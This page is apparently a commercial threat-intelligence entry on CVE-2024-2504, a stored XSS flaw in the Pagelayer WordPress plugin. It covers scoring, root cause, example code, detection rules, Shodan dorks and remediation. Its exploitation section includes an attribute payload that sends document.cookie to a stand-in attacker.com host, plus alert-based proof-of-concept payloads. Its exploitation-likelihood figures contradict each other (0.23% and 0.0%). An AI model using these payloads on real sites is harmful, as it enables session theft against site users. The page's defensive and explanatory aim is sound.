☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2504

CVE-2024-2504 Cross-Site Scripting in Pagelayer
📅 PUBLISHED: 2024-04-09 18:59 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2504 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress, affecting all versions up to and including 1.8.4. The vulnerability resides in insufficient input sanitization and output escaping on user-supplied attributes via the attr parameter. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) accesses the compromised page, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely used page builder plugin, and the stored nature of the XSS means the payload persists until manually removed. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the public availability of proof-of-concept code increases the risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Pagelayer from the repository are at risk. There is no known compromise of the plugin’s supply chain (e.g., malicious commits or backdoored updates), but the lack of a patch from the vendor means users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attacker can exploit the vulnerability over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to be authenticated with contributor-level access.
  • Privileges Required (PR): Low (L) – Contributor-level access is required, which is a low-privilege role in WordPress.
  • User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the page.
  • Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., the victim’s browser session).
  • Confidentiality (C): Low (L) – Limited information disclosure (e.g., cookies, tokens).
  • Integrity (I): Low (L) – Limited ability to modify content (e.g., defacement, phishing).
  • Availability (A): None (N) – No impact on availability.

CVSS Score: 6.4 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to significant impact on site security and user trust.

Deep Dive & Mechanics

The vulnerability exists in the Pagelayer plugin’s handling of the attr parameter, which is used to define HTML attributes for elements created by the page builder. The plugin fails to properly sanitize and escape user-supplied values in this parameter before rendering them in the page output.

Attack Flow:

  1. An authenticated attacker with contributor-level access creates or edits a page using Pagelayer.
  2. The attacker inserts a malicious payload into the attr parameter, such as:
    onmouseover="alert('XSS')"
    
  3. The plugin stores the payload in the WordPress database without proper sanitization.
  4. When any user (including administrators) views the page, the payload is rendered as part of the HTML, executing the injected script.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or fails to apply them at all, allowing raw HTML/JavaScript to be injected into attributes.

WordPress Context: This is a classic stored XSS in a WordPress plugin. The contributor role is typically trusted to create content, but this vulnerability allows them to escalate privileges by targeting higher-privileged users.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on secure coding practices.

Vulnerable Code (Pagelayer <= 1.8.4):

// In pagelayer-builder.php or similar
$attr = $_POST['attr']; // No sanitization
echo '<div ' . $attr . '>Content</div>'; // Direct output

Patched Code (Hypothetical):

// Secure version
$attr = sanitize_text_field($_POST['attr']); // Sanitize input
$attr = esc_attr($attr); // Escape for HTML attribute context
echo '<div ' . $attr . '>Content</div>';

Key Differences:

  • Input sanitization removes malicious characters.
  • Output escaping ensures the value is safe for HTML attribute context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with Pagelayer plugin <= 1.8.4.
  • Contributor-level account credentials.

Exploit Steps:

  1. Log in as a contributor.
  2. Create a new page or edit an existing one.
  3. In the Pagelayer editor, add a custom HTML block or modify an existing element’s attr parameter.
  4. Inject the following payload into the attr field:
    onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"
    
  5. Save and publish the page.
  6. When an administrator or other user hovers over the element, the script executes, sending their cookies to the attacker.

Proof-of-Concept (PoC) Code:

<!-- Inject this into the attr parameter -->
onfocus="alert('XSS')" autofocus

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual attr parameter values in POST requests to wp-admin/admin-ajax.php or page editor endpoints.
  • Look for patterns like on*= or javascript: in page content.

Prevention:

  • Disable the Pagelayer plugin until a patch is available.
  • Use a Web Application Firewall (WAF) with rules to block XSS payloads.
  • Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None provided; check plugin files for modifications)
  • Suspicious Database Entries: Look for post_content containing onmouseover, onfocus, javascript:, or similar XSS patterns.
  • Network Traffic: Outbound requests to attacker-controlled domains from the WordPress server.
  • Log Entries: Unusual attr parameter values in WordPress debug logs or server access logs.

Detection Engineering

YARA Rule

rule CVE_2024_2504_Pagelayer_XSS {
    meta:
        description = "Detects stored XSS payloads in Pagelayer plugin attr parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2504"
    strings:
        $xss1 = /on\w+\s*=\s*['\"].*?['\"]/ nocase
        $xss2 = /javascript\s*:/ nocase
        $xss3 = /<script\b[^>]*>/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2504 Pagelayer Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in Pagelayer plugin attr parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=pagelayer'
        cs-uri-query|contains: 'attr='
        cs-uri-query|re: '(on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2504 Pagelayer Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=pagelayer"; http_uri; pcre:"/(on\w+=|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Pagelayer plugin until a patch is released.
  2. Review and clean any pages created by contributors for malicious content.
  3. Reset passwords for all users who may have been affected.

Long-term Fix:

  • Apply the official patch when released by the vendor.
  • Implement a Content Security Policy (CSP) to mitigate XSS impact.
  • Regularly update all WordPress plugins and themes.

Workarounds:

  • Use a security plugin (e.g., Wordfence) to block XSS payloads.
  • Restrict contributor-level access to only trusted users.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Pagelayer"
http.html:"pagelayer"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2504/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.